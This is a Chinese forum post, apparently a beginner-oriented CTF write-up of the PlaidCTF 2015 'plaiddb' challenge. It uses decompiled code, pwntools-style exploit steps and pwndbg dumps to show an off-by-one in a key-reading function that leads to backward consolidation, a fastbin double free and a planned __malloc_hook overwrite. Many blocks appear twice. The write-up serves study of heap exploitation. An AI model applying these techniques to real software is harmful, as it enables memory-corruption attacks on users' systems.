紧接着半个月前分析的那篇2016 Asis b00ks ,这次同样是有分析了一道off by one 漏洞利用的题目,同样记录下来分享给像咱们一样的pwn萌新,实在是想说大佬们的文章都是写给大佬看的,那我来给大家补充一下细节。这次的参考漏洞利用write up是plaid ctf 2015 plaiddb ,非常感谢师傅0x397f,大佬的名字都这么大佬。但是最后一部分有一些细节我不知道是如何处理的,看了好几天了还是没看懂,请教一下大家。
https://bestwing.me/2016/12/30/one-gadget-rce/
https://www.yumpu.com/en/document/view/37809267/dragons-ctf
首先检查一下漏洞保护机制
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
程序主要有4个功能:GET、PUT、DUMP、DEL 。
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
程序主要有4个功能:GET、PUT、DUMP、DEL 。
然后来分析一下这个datastore的存储的数据结构。
通过PUT函数以及位于0xCF0的函数可以分析出datastore的数据结构,如下:
但是我只分析出了前三个数据单元内容是什么,后面的关于二叉树的内容需要分析位于0xcf0的函数分析得出,我没有分析完这个函数,因此最后有一部分的伪造堆内存的部分我没有弄清楚,数据结构如下:
struct node {
char *key;
long size;
char *data;
struct node *left;
struct node *right;
struct node *parent;
bool is_leaf;
}
struct node {
char *key;
long size;
char *data;
struct node *left;
struct node *right;
struct node *parent;
bool is_leaf;
}
函数的漏洞点位于0X1040处,
用于获取键值,当输入换行符时,会将其替换成 null 字节,如果输入长度为 chunk usable size 且最后一个字节为换行符的字符串,则会触发 off-by-one。chunk usable size为chunk当前实际可用的内存大小,如下:
char *get_key()
{
char *key; // r12@1
char *ptr; // rbx@1
size_t chunk_sz; // r14@1
char c; // al@3
char v4; // bp@3
signed __int64 v5; // r13@5
char *v6; // rax@6
key = (char *)malloc(8uLL);
ptr = key;
chunk_sz = malloc_usable_size(key);
while ( 1 )
{
c = _IO_getc(stdin);
v4 = c;
if ( c == -1 )
Goodbye();
if ( c == 10 )
break;
v5 = ptr - key;
if ( chunk_sz <= ptr - key )
{
v6 = (char *)realloc(key, 2 * chunk_sz);
key = v6;
if ( !v6 )
{
puts("FATAL: Out of memory");
exit(-1);
}
ptr = &v6[v5];
chunk_sz = malloc_usable_size(v6);
}
*ptr++ = v4;
}
*ptr = 0; <<<<<<<<<<<<<<<<<<<off by one 溢出点
return key;
}
char *get_key()
{
char *key; // r12@1
char *ptr; // rbx@1
size_t chunk_sz; // r14@1
char c; // al@3
char v4; // bp@3
signed __int64 v5; // r13@5
char *v6; // rax@6
key = (char *)malloc(8uLL);
ptr = key;
chunk_sz = malloc_usable_size(key);
while ( 1 )
{
c = _IO_getc(stdin);
v4 = c;
if ( c == -1 )
Goodbye();
if ( c == 10 )
break;
v5 = ptr - key;
if ( chunk_sz <= ptr - key )
{
v6 = (char *)realloc(key, 2 * chunk_sz);
key = v6;
if ( !v6 )
{
puts("FATAL: Out of memory");
exit(-1);
}
ptr = &v6[v5];
chunk_sz = malloc_usable_size(v6);
}
*ptr++ = v4;
}
*ptr = 0; <<<<<<<<<<<<<<<<<<<off by one 溢出点
return key;
}
本文主要是通过off by one 溢出修改下一个堆块的pre_inuse位,然后free下一个堆块使其向前合并内存,造成double free。然后通过double free修改malloc_hook为one_gadget来实现漏洞的利用。
double free的原理比较直接,简单来说就是重复释放同一个fastbin,但是在释放同一个fastbin的中间必须free()一次其他的fastbin。可以这么利用的原因是因为在free fastbin的时候,没有进行安全检查。但是unsorted bin,small bin,large bin都不可以实现double free原因是其检查了nextchunk的prev_inuse位,如下。
关于double free的入门可以看一下 https://heap-exploitation.dhavalkapil.com/attacks/double_free.html
但是本文章的利用的double free并不是那么简单的,加入在A处存在off by one 溢出,溢出覆盖了B的size内容的pre_inuse位,当free B的时候他会向前融合,通过构造B的pre_size项的内容我们可以使其向前合并至X处,但是我们必须事先将chunk x释放,而且x和B之间需要一个fastbin间隔,至此X至B的内存都已释放,此时我们如果在释放chunk c那么c也会出现在bins的链表当中,然后我们就可以控制c的内容了。
|chunk x | fastbin | chunk c | chunk A|chunk B|
可以参考http://www.freebuf.com/articles/system/91527.html
然后开始讲解具体如何利用:
关闭ALSR然后gdb.attach()动态调试是必须掌握的姿势,我一般都是gdb和ida同时看的,gdb动态调试到那一部分,碰到不清楚的就ida静态分析一下代码原理。gdb推荐使用pwndbg。
首先是将内存中初始化带有的一个struct_node删除,然后通过PUT几个struct_node来为我们后来的实现double free做准备。
DEL("th3fl4g")
PUT("A"*0x8, 0x80, p8(0)*0x80)
PUT("B"*0x8, 0x18, p8(0)*0x18)
PUT("C"*0x8, 0x60, p8(0)*0x60)
PUT("C"*0x8, 0xf0, p8(0)*0xf0)
下文的内存信息是内存的低字节,并且内存地址指向chunk的pre_size,并非指向mem。
此时bins的链表结构中的内容如下:
fastbin:
0x20: 0x58280
0x40: 0x58240
0x70: 0x581d0
其余为空
struct_node的地址信息如下:
struc_node key data
"A"*0x8 0x58000 0x58080 0x580a0
"B"*0x8 0x58130 0x58060 0x58040
"C"*0x8 0x58170 0x581b0 0x582a0
DEL("th3fl4g")
PUT("A"*0x8, 0x80, p8(0)*0x80)
PUT("B"*0x8, 0x18, p8(0)*0x18)
PUT("C"*0x8, 0x60, p8(0)*0x60)
PUT("C"*0x8, 0xf0, p8(0)*0xf0)
下文的内存信息是内存的低字节,并且内存地址指向chunk的pre_size,并非指向mem。
此时bins的链表结构中的内容如下:
fastbin:
0x20: 0x58280
0x40: 0x58240
0x70: 0x581d0
其余为空
struct_node的地址信息如下:
struc_node key data
"A"*0x8 0x58000 0x58080 0x580a0
"B"*0x8 0x58130 0x58060 0x58040
"C"*0x8 0x58170 0x581b0 0x582a0
然后后面通过off_by_one溢出覆盖0x582a0的pre_size位。
覆盖之前我们先来看一下本来的0x582a0的内存信息:
pwndbg> x/10xg 0x5555557582a0
0x5555557582a0: 0x0000000000000000 0x0000000000000101 -------->可以看到此时位于0x2a0的chunk的pre_inuse位被置1,表示前面的chunk被使用。其实前面的chunk是fastbin中的0x20大小的内存地址是0x58280的chunk。
0x5555557582b0: 0x0000000000000000 0x0000000000000000
0x5555557582c0: 0x0000000000000000 0x0000000000000000
0x5555557582d0: 0x0000000000000000 0x0000000000000000
0x5555557582e0: 0x0000000000000000 0x0000000000000000
pwndbg> x/10xg 0x5555557582a0
0x5555557582a0: 0x0000000000000000 0x0000000000000101 -------->可以看到此时位于0x2a0的chunk的pre_inuse位被置1,表示前面的chunk被使用。其实前面的chunk是fastbin中的0x20大小的内存地址是0x58280的chunk。
0x5555557582b0: 0x0000000000000000 0x0000000000000000
0x5555557582c0: 0x0000000000000000 0x0000000000000000
0x5555557582d0: 0x0000000000000000 0x0000000000000000
0x5555557582e0: 0x0000000000000000 0x0000000000000000
然后下面在进行PUT操作,
PUT("D"*0x8+p64(0)+p64(0x200), 0x20, p8(0)*0x20) # off by one
key的内容是"D"*0x8+p64(0)+p64(0x200),输入的长度为18个字节,正好是chunk usable size,且申请的chunk大小是0x20,正好将0x58280的fastbin分配用来存储key,因此此时将会off_by_one溢出,将0x582a0处的pre_inuse位覆盖为0,并且前面的p64(0x200)伪造了0x582a0的chunk的pre_size为0x200。同时从0x582a0向前0x200个字节恰好是0x580a0,即key为‘A'*0x8的chunk对应的data的地址。通过前面double free的讲解,我们了解到,只需要先DEL('A'*0x8),再DEL('C'0x8)我们可以free掉从0x580a0至0x583a0的内存。
PUT("D"*0x8+p64(0)+p64(0x200), 0x20, p8(0)*0x20) # off by one
查看内存:
pwndbg> x/50xg 0x555555758280
0x555555758280: 0x0000000000000001 0x0000000000000021
0x555555758290: 0x4444444444444444 0x0000000000000000
0x5555557582a0: 0x0000000000000200 0x0000000000000100 ----->可以看到pre_inuse位被覆盖为0,并且pre_size的大小被改成0x200,为我们后来的double free做好了基础。
0x5555557582b0: 0x0000000000000000 0x0000000000000000
0x5555557582c0: 0x0000000000000000 0x0000000000000000
PUT("D"*0x8+p64(0)+p64(0x200), 0x20, p8(0)*0x20) # off by one
查看内存:
pwndbg> x/50xg 0x555555758280
0x555555758280: 0x0000000000000001 0x0000000000000021
0x555555758290: 0x4444444444444444 0x0000000000000000
0x5555557582a0: 0x0000000000000200 0x0000000000000100 ----->可以看到pre_inuse位被覆盖为0,并且pre_size的大小被改成0x200,为我们后来的double free做好了基础。
0x5555557582b0: 0x0000000000000000 0x0000000000000000
0x5555557582c0: 0x0000000000000000 0x0000000000000000
然后进行DEL()操作,实现double free。
DEL("A"*0x8)
DEL("C"*0x8)
查看内存:
pwndbg> bins
fastbins
0x20: 0x5555557583d0 —▸ 0x5555557581b0 —▸ 0x555555758080 ◂— 0x0
0x30: 0x0
0x40: 0x555555758170 —▸ 0x555555758000 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x5555557581d0 ◂— 0x0 ------->这个chunk内存被释放了两次,我们最后也是通过他来实现double free的利用。
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x5555557580a0 ◂— 0x7ffff7dd1b78
可以看到当bins中只有一个bins中有空闲chunk时,其fd、bk均指向main_arena,这为我们泄露libc_base以及heap_base提供了条件。
smallbins
empty
largebins
empty
pwndbg> x/50xg 0x5555557580a0
0x5555557580a0: 0x0000000000000000 0x0000000000000301 ----->看到chunk的大小为0x300
0x5555557580b0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 ------>bins中只有一个chunk时,其fd、bk指针均指向main_arena
0x5555557580c0: 0x0000000000000000 0x0000000000000000
0x5555557580d0: 0x0000000000000000 0x0000000000000000
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2018-9-26 11:32
被Seclusion编辑
,原因:
上传的附件: